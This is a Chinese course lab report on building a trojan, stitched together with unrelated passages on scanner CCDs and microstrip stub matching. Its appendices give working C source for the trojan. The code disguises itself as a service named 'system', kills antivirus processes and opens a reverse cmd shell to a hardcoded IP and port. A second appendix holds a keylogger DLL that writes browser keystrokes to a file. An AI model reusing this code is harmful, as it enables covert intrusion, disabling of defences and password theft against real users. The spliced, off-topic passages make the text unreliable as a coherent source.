(1)1---1024之间的端口:这些端口叫保留端口,是专给一些对外通 讯的程序用的,如FTP使用21, SMTP使用25,POP3使用110等。只有很少木马会用保留端口作为木马端口 的。 (2)1025以上的连续端口:在上网浏览网站时,浏览器会打开多个连续的端口下载文字,图片到本地 硬盘上,这些端口都是1025以上的连续端口。
(3)4000端口:这是OICQ的通讯端口。
(4)6667端口:这是IRC的通讯端口。 除上述的端口基本可以排除在外,如发现还有其它端口打开,尤其是数值比较大的端口,那就要怀疑 是否感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。
四.信息泄露:
一般来说,设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息,并通过E-MAIL,IRC或ICO的方式告知控制端用户。下图是一个典型的信息反 馈邮件。
从这封邮件中我们可以知道服务端的一些软硬件信息,包括使用的操作系统,系统目录,硬盘分区况, 系统口令等,在这些信息中,最重要的是服务端IP,因为只有得到这个参数,控制端才能与服务端建立 连接,具体的连接方法我们会在下一节中讲解。 五.建立连接:
一个木马连接的建立首先必须满足两个条件:一是 服务端已安装了木马程序;二是控制端,服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。
A机为控制端,B机为服务端,对于A机来说要与B机建立连接必须知道B机的木马端口和IP地 址,由于木马端口是A机事先设定的,为已知项,所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的方法主要有两种:信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了,不再赘述,我们 重点来介绍IP扫描,因为B机装有木马程序,所以它的木马端口7626是处于开放状态的,所以现在A机只 要扫描IP地址段中7626端口开放的主机就行了,
7
例如图中B机的IP地址是202.102.47.56,当A机扫描到 这个IP时发现它的7626端口是开放的,那么这个IP就会被添加到列表中,这时A机就可以通过木马的控 制端程序向B机发出连接信号,B机中的木马程序收到信号后立即作出响应,当A机收到响应的信号后, 开启一个随即端口1031与B机的木马端口7626建立连接,到这时一个木马连接才算真正建立。值得一提 的要扫描整个IP地址段显然费时费力,一般来说控制端都是先通过信息反馈获得服务端的IP地址,由于 拨号上网的IP是动态的,即用户每次上网的IP都是不同的,但是这个IP是在一定范围内变动的,如图中 B机的IP是202.102.47.56,那么B机上网IP的变动范围是在
202.102.000.000---202.102.255.255,所以 每次控制端只要搜索这个IP地址段就可以找到B机了。
六.远程控制:
木马连接建立后,控制端端口和木马端口之间将会出现一条通道。
控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远程控制。
(1) 窃取密码:
一切以明文的形式,*形式或缓存在CACHE中的密码都能被
木马侦测到,此外很多木马还 提供有击键记录功能,它将会记录
服务端每次敲击键盘的动作,所以一旦有木马入侵, 密码将很容
易被窃取。
(2) 文件操作:
控制端可藉由远程控制对服务端上的文件进行删除,新建,修
改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了
WINDOWS平台上所有的文件操作功能。
(3) 修改注册表:
控制端可任意修改服务端注册表,包括删除,新建或修改主
键,子键,键值。有了这 项功能控制端就可以禁止服务端软驱,
光驱的使用,锁住服务端的注册表,将服务端 上木马的触发条件
设置得更隐蔽的一系列高级操作。
(4) 系统操作:
这项内容包括重启或关闭服务端操作系统,断开服务端网络
连接,控制服务端的鼠标,键盘,监视服务端桌面操作,查看服
8
务端进程等,控制端甚至可以随时给服务端发送信 息,想象一下,
当服务端的桌面上突然跳出一段话,不吓人一跳才怪CCD是
Charge Couple Device的缩写,称为电荷耦合器件,它是利用微
电子技术制成的表面光电器件,可以实现光电转换功能。
CCD在摄像机、数码相机和扫描仪中应用广泛,只不过摄像机中使用的是点阵CCD,即包括x、y两个方向用于摄取平面图像,而扫描仪中使用的是线性CCD,它只有x一个方向,y方向扫描由扫描仪的机械装置来完成。
CCD芯片上有许多光敏单元,它们可以将不同的光线转换成不同的电荷,从而形成对应原稿光图像的电荷图像。如果我们想增加图像的分辨率,就必须增加CCD上的光敏单元数量。实际上,CCD的性能决定了扫描仪的x方向的光学分辨率。
实验目的
计算机病毒也是计算机程序,病毒驻留在受感染的计算机内,并不断传播和感染可连接的系统,在满足触发条件时,病毒发作,破坏正常的系统工作,强占系统资源,甚至损坏系统数据。病毒不但具有普通程序存储和运行的特点,还具有传染性、潜伏性、可触发性、破坏性、针对性、隐蔽性和衍生性等特征。
通过本实验更深入理解计算机病毒的机理及防治方法。并且了解木马的构造、特性以及木马编写原理。
实验设计
实现的功能
1) 欺骗性:木马伪装成安装程序,用户下载点击安装时,会弹出
“文件已损坏”的对话框,但在用户点击到对话框显示之间的
时间,已经完成木马的安装——及生成了system.exe并并
且复制系统目录下,用户可能会删除木马,不过不会对已安装
9
的木马造成影响。
2) 隐蔽性:将木马伪装成服务安装,这样可以实现隐藏,也可以
开机自启动,起一个具有迷惑性的名字也不会让用户察觉到。 3) 自我保护性:查杀杀毒软件进程,例如360. 4) 破坏性:加入键盘钩子,可以监视用户键盘输入情况,盗取账
号密码。
各个功能陈述
1. 安装:由于伪装成正常文件的安装包,因此可以实现用户自行
点击,在点击后,木马立刻进行杀毒软件查杀,之后再进行安
装工作。木马将自己该换名字成“system.exe”复制到
windows目录下,并以名字“system”伪装成服务安装,
紧接着弹出出错提示,安装完毕。
2. 远程访问:利用反弹端口原理,在客户端用nc.exe实现对特
定端口的捆绑,从而获得来自用户端的响应。要求在进入控制
程序前,输入密码,确认正确后即可对远程主机进行访问。可
以将在客户端上输入的字符串在服务器端当做cmd命令解读,
并将获得的信息返回到客户端,从而使得远程主机的隐私泄露。 3. 盗号攻击:利用dll文件动态加载,写一个全盘钩子,只要
system服务被打开,用户的键盘就被监控,从而获得用户的
账号和密码记录在一个自我创建的记事本文件中,客户端可以
从远程访问获得。
10
实验模块
socket编程
木马的编写大体上是建立在socket编程上的。Socket是网络的基本构建,它可以被命名和寻址的通信端点,使用中的每一套接字都有其类型和一个与之相连的进程。
流式套接字(SOCK_STREAM)提供面向连接、可靠的数据传输服务、数据无差错、无重复发送且按发送顺序接受。设计思路如下: 服务器程序端:
(1) 创建套接字(socket)。
11
(2) 将套接字绑定到一个本地地址和端口上(bind)。 (3) 将套接字设为监听模式,准备接受客户请求(listen)。 (4) 等待客户请求到来;当请求到来后,接受连接请求,返回一个
新的对应与此次连接的套接字(accept)。
(5) 用返回的套接字和客户端进行通信(send/recv)。 (6) 返回,等待另一个客户请求。
(7) 关闭套接字。
客户端程序:
(1) 创建套接字(socket)。
(2) 向服务器发出连接请求(connect)。
(3) 和服务器端进行通信(send/recv)。
(4) 关闭套接字。
客户端不用绑定端口,因为当服务器接收到请求时已经记录下客户端的端口号。面向连接的套接字的系统调用时序图如下:
12
隐藏技术——服务级木马
服务是指执行制定系统功能的程序、例程或进程,以便支持其他程序,尤其是低层(接近硬件)程序。其实,服务就是一种特殊的应用程序,他从服务启动开始就一直处于运行状态,而普通应用程序在运行之后就处于休眠状态,直到用户再次进行操作;在windows XP中,服务是在系统加载以后就自动启动的,而不需要登陆。
Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,他们会在登陆系统时自动运行,甚至在没有用用户登陆的情况下也会正常运行,他们大多是控制台程序,不过也有少数GUI程序。服务能被利用作为后门实现自启动,是因为他有3个重要特性: , 服务可以被指定为自启动,利用传统的注册表修改RUN键值,添加INI自动启动项等方法的基础上又多了一种选择。 , 服务可以在任何用户登录前开始运行,我们能在服务启动时加入杀
13
防火墙代码。
, 服务时运行在后台的,如果不注意,很难发现何时被装了后门。 钩子技术
利用钩子技术来获取用户的密码,监控键盘。
1. 定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。不同事件的钩子函数的形式个不同。我们打算创建的是鼠标钩子:
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam)
参数wParam和lParam包含钩子的信息,比如鼠标位置和状态、键盘按键等。nCode包含有关消息的相关信息,比如从消息队列中移除。我们现在钩子函数中实现自定义功能,然后调用函数CallNextHookEx把钩子信息传递给钩子链的下一个钩子函数。CallNextHookEx函数原型为:
LRESULT CallNextHookEx(HHook hhk,int nCode, wParam,LPARAM lParam)
参数hhk是钩子的句柄,nCode、wParam和lParam是钩子函数。 2. 安装钩子
在程序初始化的时候,调用函数SetWindowsHookEx安装
钩子,其函数原型如下:
HHOOK SetWindowsHookEx (int idHook, HOOKPROC lpfn, INSTANCE hMod,
DWORD dwThreadId)
参数idHook表示钩子类型。lpfn是钩子函数的地址。hMod
是钩子函数所在的实例句柄。dwThreadId指定钩子所监视的线
程的线程号。
SetWindowsHookEx函数返回所安装钩子的钩子句柄。 3. 卸载钩子
当不再使用钩子时,必须及时卸载,简单的调用BOOL
UnhookWindowsHookEx(HHOOK hhk)即可。
但我们小组在实现钩子函数是出现了些错误,钩子函数无法加载进去,所以最后放弃了。
14
进程查杀
木马在开始运行时,为了保护自己奖励一个安全的运行环境,先
把杀毒软件关闭。
实验详细设计
1) 模块对应函数:
a) 服务函数:
A. 安装:InstallCmdService();
B. 服务主函数:ServiceMain(DWORD dwArgc,
LPTSTR *lpArgv);
C. 服务控制函数:ServiceCtrlHandler(DWORD
Opcode);
D. 服务撤销:DelServices();
b) 后门程序:
A. 身份验证:int door();
B. 客户端输入翻译应答(由身份认证函数创建线程指向):
void WINAPI EXEBackMain(LPVOID s); c) 查杀进程函数:
A. 查杀进程函数主函数(调试用):pskill(int id); B. 查杀进程执行函数:int KillProc(void); d) 盗号钩子:htr.dll
A. 导出函数—设置钩子:void SetKbHook(void); B. 导出函数—删除钩子:void RemoveKbHook(void)。
2) 远程控制操作:
A. 连接服务端:由于在服务端已经固定了客户端的IP
(115.156.228.102)和端口(7777),则只要客户端用
NC.exe绑定7777端口,监听是否有连接接入,操作为在命
令行中输入:nc –l –p 7777。
B. 控制服务端:待端口监听到服务端发来的连接请求,则自动运
行door()函数,要求输入密码,密码为“dirdir”,密码验
证通过后,则可以输入cmd命令,对目标主机进行操作了。
15
实验截屏
a) 将自身复制到系统目录下:
系统目录
b) 安装服务:在命令行输入“net start”可以看到已启动服务中有
“system”如图所示,而任务管理器中也始终有system.exe在运
行,如图示。
16
c) 远程控制:
绑定7777端口
身份认证
服
务
端
系
统
文
件
d) 盗号功能:由于对dll功能调用不是很熟悉,dll文件编译成功,在载入时发现无法调用导出函数,因此没有办法执行盗号功能。后经查找资料及询问同学知道原因在于没有将调用它的进程句柄传入从而导致dll调用有误,但因能力有限,最终仍然没有实现此功能。
17
心得体会
这次试验让我学到了很多有关木马的知识,通过编写木马的功能可以就看出,木马程序的目的是侵犯他人的隐私,则木马设计者的目标之一就是不被发现,这样他就能在竖着电脑中安稳、长久、顺利、默默的进行他的工作。
e) 在实验过程中,遇到了很多困难,最大的一个困难就是钩子函
数的实现——实现键盘的监控。由于对动态链接文件(dll)功
能调用不是很熟悉,dll文件已经编译成功,但是在载入时发
现无法调用导出的函数,于是在C盘的根目录下没有生
成”password.exe”文件,因此没有办法执行盗号功能。后经查
找资料及询问同学知道原因在于没有将调用它的进程句柄传
入从而导致dll调用有误,但因能力有限,最终仍然没有实现
此功能。
同时,这次试验我有温习了C语言,同时了解了关于木
马的很多知识。
附录
附录一 木马程序源代码
#include #include #include "windows.h" 18 #include "winbase.h" #include "tlhelp32.h" #include "htr.h" #pragma comment(lib, "kernel32.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "ws2_32.lib") void WINAPI ServiceMain(DWORD, LPTSTR *); DWORD WINAPI CmdService(LPVOID); DWORD WINAPI CmdShell(LPVOID); void WINAPI ServiceCtrlHandler(DWORD Opcode); BOOL InstallCmdService(); void DelServices(); int door(); void Usage(void); VOID WINAPI EXEBackMain(LPVOID s); int KillProc(void); pskill(int id); void EnableDebugPriv(void); SERVICE_STATUS m_ServiceStatus; SERVICE_STATUS_HANDLE m_ServiceStatusHandle; BOOL bRunning = true; #define PASSSUCCESS "Password success!\n" 19 #define PASSERROR "Password error.\n" #define BYEBYE "ByeBye!\n" #define SERV_NAME "system" #define WSAerron WSAGetLastError() #define erron GetLastError() #define PORT 7777//远程连接端口 #define DEST_IP_ADDR "115.156.228.102"//要连接的远程IP int main(int argc, char *argv[]) { SERVICE_TABLE_ENTRY DispatchTable[] = { {SERV_NAME, ServiceMain},//服务程序的名称和入口点(函数) {NULL, NULL}//SERVICE_TABLE_ENTRY结构必须以“NULL”结束 }; //if(2 == argc) //{ //else if(!stricmp(argv[1], "-k")) //{ KillProc();//杀进程 //} //if(!stricmp(argv[1], "-i"))//如果第二个参数等于-i //{ InstallCmdService();//安装服务 20 //} //else if(!stricmp(argv[1], "-r"))//比较字符串s1和s2 //{ // DelServices(); //} //else //{ // Usage(); //} //return 0; } StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入 return 0; } int door() { SOCKET sock = NULL; struct sockaddr_in sai; TCHAR UserPass[20] = {0};//用户设置密码缓冲 TCHAR PassBuf[20] = {0};//接收密码缓冲 TCHAR PassBanner[] = "Password:"; TCHAR Banner[] = "--------backdoor--------"; sai.sin_family = AF_INET; 21 sai.sin_addr.S_un.S_addr = inet_addr(DEST_IP_ADDR); sai.sin_port = htons(PORT); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); while(TRUE) { MSG msg; HINSTANCE dllhinst = LoadLibrary("htr.dll"); typedef VOID(CALLBACK *LPFNDLLFUNC1)(VOID); LPFNDLLFUNC1 lpfnDllFunc1; if(dllhinst!=NULL) //判断是否 加载DLL成功 { lpfnDllFunc1=(LPFNDLLFUNC1)GetProcAddress(dllhinst,"SetKbHook"); if(!lpfnDllFunc1) { FreeLibrary(dllhinst); //error=TRUE; } else { lpfnDllFunc1(); } } 22 while(GetMessage(&msg,0,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; WSADATA wsadata; BOOL ThreadFlag = FALSE; DWORD ThreadID = 0; int nRet = 0; nRet = WSAStartup(MAKEWORD(2,2), &wsadata);//初始化 if(nRet) { return 0; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET == sock) { goto Clean; } nRet = connect(sock, (struct sockaddr*)&sai, sizeof(struct sockaddr)); Sleep(5000); if(nRet != SOCKET_ERROR) { 23 nRet = send(sock, Banner, sizeof(Banner), 0); while(TRUE) { nRet = send(sock, PassBanner, sizeof(PassBanner), 0); nRet = recv(sock, PassBuf, sizeof(PassBuf) - 1, 0); if(strnicmp(PassBuf, "dirdir", strlen("dirdir")) == 0) { send(sock, PASSSUCCESS, sizeof(PASSSUCCESS), 0); ThreadFlag = TRUE; break; } if(SOCKET_ERROR == nRet) { goto Clean; } Sleep(100); } if(ThreadFlag) { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)EXEBackMain, (LPVOID)sock, 0, &ThreadID); } }//while Sleep(1000); 24 } Clean: if(sock != NULL) closesocket(sock); WSACleanup(); return 0; } void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)//服务主程序 { m_ServiceStatus.dwServiceType = SERVICE_WIN32; m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwServiceSpecificExitCode = 0; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; m_ServiceStatusHandle = RegisterServiceCtrlHandler(SERV_NAME, ServiceCtrlHandler); if(m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return; m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //设置服务状态 m_ServiceStatus.dwCheckPoint = 0; 25 m_ServiceStatus.dwWaitHint = 0; //SERVICE_STATUS这个结构含有7个成员,他们反映服务的现行状态 //所有这些成员必须在这个结构被传递到SetServiceStatus之前正式的进 行设置 if(SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus)) bRunning = true; door();//启动服务程序 return; } void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数 { switch(Opcode) { case SERVICE_CONTROL_PAUSE://接受命令暂停服务 m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; m_ServiceStatus.dwCheckPoint = 0; 26 m_ServiceStatus.dwWaitHint = 0; SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus); bRunning = false; break; case SERVICE_CONTROL_INTERROGATE: break; } return; } BOOL InstallCmdService()//安装服务函数 { char strDir[1024]; SC_HANDLE schSCManager, schService; GetCurrentDirectory(1024, strDir);//取当前目录 GetModuleFileName(NULL, strDir, sizeof(strDir)); //取当前文件路径和文件名 char chSysPath[1024]; GetSystemDirectory(chSysPath, sizeof(chSysPath));//取系统目录 strcat(chSysPath, "\\system.exe"); //将scvhost.exe拼接到系统目录 if(CopyFile(strDir, chSysPath, FALSE)) printf("Copy file OK!\n"); //把当前服务程序复制到系统根目录system.exe 27 strcpy(strDir, chSysPath); schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(schSCManager == NULL) { printf("open scmanger failed, maybe you do not have the privilage to do this\n"); return false; } LPCTSTR lpszBinaryPathName = strDir; schService = CreateService(schSCManager, SERV_NAME, SERV_NAME,//将服务的信息添加到SCM的数据库中 SERVICE_ALL_ACCESS,//访问权限 SERVICE_WIN32_OWN_PROCESS,//服务类型 SERVICE_AUTO_START,//启动类型 SERVICE_ERROR_NORMAL,//错误控制 lpszBinaryPathName,//服务名称 NULL, NULL, NULL, NULL, NULL); if(schService) printf("Install Service Success!\n"); else { printf("Install Service Fail!\n"); 28 return false; } CloseServiceHandle(schService); return true; } void DelServices() { char name[100]; SC_HANDLE scm; SC_HANDLE service; SERVICE_STATUS status; strcpy(name, SERV_NAME); if((scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)) == NULL) { printf("OpenSCManager Error!"); } service = OpenService(scm, name, SERVICE_ALL_ACCESS | DELETE); if(!service) { printf("OpenService error!"); return; } 29 BOOL isSuccess = QueryServiceStatus(service, &status); if(!isSuccess) { printf("QueryServiceStatus error!"); return; } if(status.dwCurrentState != SERVICE_STOPPED) { isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); if(!isSuccess) printf("Delete Service Fail!"); Sleep(500); } isSuccess = DeleteService(service); if(!isSuccess) printf("Delete Service Fail!"); else printf("Delete Service Success!"); CloseServiceHandle(service); CloseServiceHandle(scm); } void WINAPI EXEBackMain(LPVOID s) { 30 SOCKET sock = (SOCKET) s; STARTUPINFO si; PROCESS_INFORMATION pi; HANDLE hRead= NULL,hWrite = NULL; TCHAR CmdSign[] = "\nGood Luck!:\\>"; while(TRUE) { TCHAR MsgError[50] = {0};//错误消息缓冲 TCHAR CmdLine[300] = {0};//命令行缓冲 TCHAR RecvBuf[1024] = {0};//接收缓冲 TCHAR SendBuf[2048] = {0};//发送缓冲 SECURITY_ATTRIBUTES sa; DWORD bytesRead = 0; int ret = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; //创建匿名管道 if(!CreatePipe(&hRead, &hWrite, &sa, 0)) { goto Clean; } si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); 31 si.hStdError = hWrite; si.hStdOutput = hWrite;//进程(CMD)的输出写入管道 si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(CmdLine, sizeof(CmdLine));//获取系统目录 strcat(CmdLine, "\\cmd.exe /c");//拼接CMD ret = send(sock, CmdSign, sizeof(CmdSign), 0);//向目标发送提示符 if(SOCKET_ERROR == ret) { goto Clean; } ret = recv(sock, RecvBuf, sizeof(RecvBuf), 0);//接收目标数据 //如果为exit或quit就退出 if(strnicmp(RecvBuf, "exit", 4) == 0 || strnicmp(RecvBuf, "quit", 4) == 0) { send(sock, BYEBYE, sizeof(BYEBYE), 0); goto Clean; } //表示对方已经断开 if(SOCKET_ERROR == ret) { goto Clean; } //表示接收数据出错 32 if(ret <= 0)="">=> { #ifdef DEBUGMSG sprintf(MsgError, "recv() GetLastError reports %d\n", WSAerron); send(sock, MsgError, sizeof(MsgError), 0); #endif continue; } Sleep(100); strncat(CmdLine, RecvBuf, sizeof(RecvBuf));//拼接一条完整的CMD命 令 //创建进程,也就是执行CMD命令 if(!CreateProcess(NULL, CmdLine, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) { continue; } CloseHandle(hWrite); while(true) { //无限循环读取管道中的数据,知道管道中没有数据为止 if(ReadFile(hRead, SendBuf, sizeof(SendBuf), &bytesRead, NULL) == 0) break; 33 send(sock, SendBuf, bytesRead, 0);//发送出去 memset(SendBuf, 0, sizeof(SendBuf));//缓冲清零 Sleep(100); } } Clean: //释放句柄 if(hRead != NULL) CloseHandle(hRead); if(hWrite != NULL) CloseHandle(hWrite); //释放Socket if(sock != NULL) closesocket(sock); WSACleanup(); ExitThread(0); } void Usage() { fprintf(stderr, "Code by IS0902 for Virus Course.\nUsage:[-i][-r]-i:install ervice;-r:remove service.\n"); } 34 int KillProc(void) { HANDLE hSnApshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnApshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32 te = {sizeof(te)}; BOOL fok = Process32First(hSnApshot, &te); EnableDebugPriv(); for(;fok;fok= Process32Next(hSnApshot, &te)) { //printf("Pid: %d %s\n", te.th32ProcessID, te.szExeFile); if(!stricmp(te.szExeFile, "360rp.exe") || !stricmp(te.szExeFile, "360sd.exe") || !stricmp(te.szExeFile, "360tray.exe") || !stricmp(te.szExeFile, "rstray.exe") || !stricmp(te.szExeFile, "RayMonD.exe")) pskill(te.th32ProcessID); } } CloseHandle(hSnApshot); //printf("the process's id which you want to kill:"); //int id = 0; //scanf("%d", &id); 35 return 0; } void EnableDebugPriv(void) { HANDLE hToken; TOKEN_PRIVILEGES tkp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); CloseHandle(hToken); } pskill(int id) { HANDLE hProcess = NULL; hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, id); if(NULL == hProcess) 36 { printf("\nOpen Process Failed:%d\n", GetLastError()); return -1; } DWORD ret = TerminateProcess(hProcess, 0); if(0 == ret) { printf("%d", GetLastError()); return-1; } else printf("Process killed successfully!!"); } 附录二 钩子源代码 #include "htr.h" #include #include #define CHARNUM 5 #define TXTLENGTH 10 #define PLACEOFFILE "c:\\password.txt" static BOOL bHooked = FALSE; static BOOL IE_is_active = FALSE; 37 static HHOOK hhook = 0, hhookMsg = 0; static HINSTANCE hInst; static int count; static char tomb[CHARNUM]; static FILE *stream; static int shift = 32; short flag; enum NUM { SHIFT, CONTROL, ALT, CAPITAL }; static int condition[CHARNUM] [CAPITAL + 1]; static char text[TXTLENGTH]; void Initcondition(void); LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam); LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam); BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch(fdwReason) 38 { case DLL_PROCESS_ATTACH: Initcondition(); count = 0; break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; default: break; } return TRUE; } DLL_EXPORT void SetKbHook(void) { if(!bHooked) { hhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInst, (DWORD)NULL); hhookMsg = SetWindowsHookEx(WH_CBT, (HOOKPROC)CBTProc, hInst, 39 (DWORD)NULL); bHooked = TRUE; } } DLL_EXPORT void RemoveKbHook(void) { if(bHooked) UnhookWindowsHookEx(hhook); } LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { int i, temp; int flag_shift; int flag_capital; int flag_alt; int flag_control; if(IE_is_active) { if((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL)) { flag_shift = 0x8000 & GetKeyState(VK_SHIFT); 40 flag_capital = 0x0001 & GetKeyState(VK_CAPITAL); flag_alt = 0x8000 & GetKeyState(VK_MENU); flag_control = 0x8000 & GetKeyState(VK_CONTROL); } if(wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT && wParam != VK_UP && wParam != VK_DOWN && wParam != VK_END && wParam != VK_HOME && wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK && wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN && wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 && wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12) { if((0x80000000 & lParam) == 0) { if(wParam >= 0x41 && wParam <= 0x5a)="">=> wParam += 32; if(wParam == VK_SHIFT || wParam == VK_CONTROL || wParam == VK_MENU || wParam == CAPITAL) { 41 if(wParam == VK_CAPITAL) temp = 1; else temp = 0; condition[count] [wParam - 16 - temp] = 1; } tomb[count] = wParam; count ++; } else if(wParam == VK_SHIFT || wParam == VK_CONTROL || wParam == VK_MENU || wParam == VK_CAPITAL) { if(wParam == VK_CAPITAL) temp = 1; else temp = 0; condition[count] [wParam - 16 - temp] = 2; tomb[count] = wParam; count ++; } if(count == CHARNUM) { stream = fopen(PLACEOFFILE, "a+"); for(i = 0; i< count;="" i="" ++)=""> { 42 switch(tomb[i]) { case VK_DELETE : fprintf(stream, "%s", " break; case VK_RETURN : fprintf(stream, "%s", "\n"); break; case VK_BACK : fprintf(stream, "%s", ""); break; case VK_SHIFT : if(condition[i] [SHIFT] == 1) fprintf(stream, "%s", " else fprintf(stream, "%s", " break; case VK_CONTROL : if(condition[i] [CONTROL] == 1) fprintf(stream, "%s", " else fprintf(stream, "%s", " break; case VK_MENU : 43 if(condition[i] [ALT] == 1) fprintf(stream, "%s", ""); else fprintf(stream, "%s", ""); break; case VK_CAPITAL : if(condition[i] [CAPITAL] == 1) fprintf(stream, "%s", " else fprintf(stream, "%s", " break; default : fprintf(stream, "%c", tomb[i]); break; } } fclose(stream); count = 0; Initcondition(); } } } return CallNextHookEx(hhook, code, wParam, lParam); } 44 void Initcondition(void) { int i, j; for(i = 0; i < charnum;="" i="" ++)=""> for(j = 0; j < capital="" +="" 1;="" j="" ++)=""> condition[i] [j] = 0; } LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam) { if(code == HCBT_ACTIVATE) { GetClassName((HWND)wParam, text, TXTLENGTH); if(text[0] == 'I' && text[1] == 'E')//begins with IE IE_is_active= TRUE; else IE_is_active = FALSE; } return CallNextHookEx(hhookMsg, code, wParam, lParam); } 附录三 参考书籍 《计算机病毒原理与防治技术》 主编:韩兰胜 华中科技大学出版社 45 《木马技术揭秘预防御》 主编:赵玉明 电子工业出版社 《黑客任务之华山论木马》 主编:程秉辉 科学出版社 46 信息与通信工程学院 实验二 微带分支线匹配器 一、实验目的 1( 熟悉支节匹配器的匹配原理 2( 了解微带线的工作原理和实际应用 3( 掌握smith圆图法设计微带线匹配网络 二、实验原理 支节匹配器 随着工作频率的提高和相应波长的减小,分立元件的寄生参数效应就变得更加明显,当波长变得明显小于典型的电路元件长度时,分布参数元件替代分立元件而得到广泛的应用。因此,在频率高达GHz以上时,在负载和传输线之间串联或并联分支短截线,代替分立的电抗元件,实现阻抗匹配网络。常用的匹配电路有:支节匹配器,四分之一波长祖卡变换器,指数线匹配器等。 支节匹配器分单支节,双支节和三支节匹配。这类匹配器是在主传输线上并联适当的电纳(或串联适当的电抗),用附加的反射来抵消主传输线上原来的反射波,用以达到匹配目的的。因此,电纳或电抗元件常用以终端开路或短路的传输线构成。 Y 图1为单支节匹配器,其中为任意负载,假定主传输线和分直线的特性阻抗都是Y0,L d为从主传输线到分支线位置的距离,Y和Z分别为在支节处向负载方向看去的主线导纳和阻抗。单支节调谐时,有2个参量可以调节:距离d和由并联开路或短路的短截线提供的电纳。匹配的思想是选择d使其在距离负载d处向主线看去的导纳是Y0+jB的形式。然后短截线的电纳选择为-jB,根据电纳确定分支短截线的长度,这样就达到了匹配条件。 d Y0 Y0 Y L 开路 或短Y=1/Z 路 l 图1 单支节匹配 图2为双支节匹配器,通过增加一支节,改进了单支节匹配器需要调节支节位置的不足, 只需调节2个支节分支线的长度就能达到匹配(双支节匹配存在禁区,并非对所有负载都能匹配)。图中假设主传输线和分支传输线的特性导纳都是Y0,l1,l2分别为分直线的长度, ,d2可以是也可以是和d1为负载于最近分直线的距离,d2为两分支线间的距离,/4,/8 。现在考虑的情况。 3,/8d,,/8 y,1,jb要在2-2参考面实现匹配,从2-2参考面向右看的归一化导纳必须是,d2d2 yby或者说应落在g=1的等导纳圆上,然后利用l2的长度来抵消j而达到匹配。为使d2d2d2 y落到等电导g=1的 圆上,则从点向负载方向走,即参考面的归一化导纳必须落在,/8d2 图中的辅助圆上,这可以通过调节l1来达到。 d2 d1 2 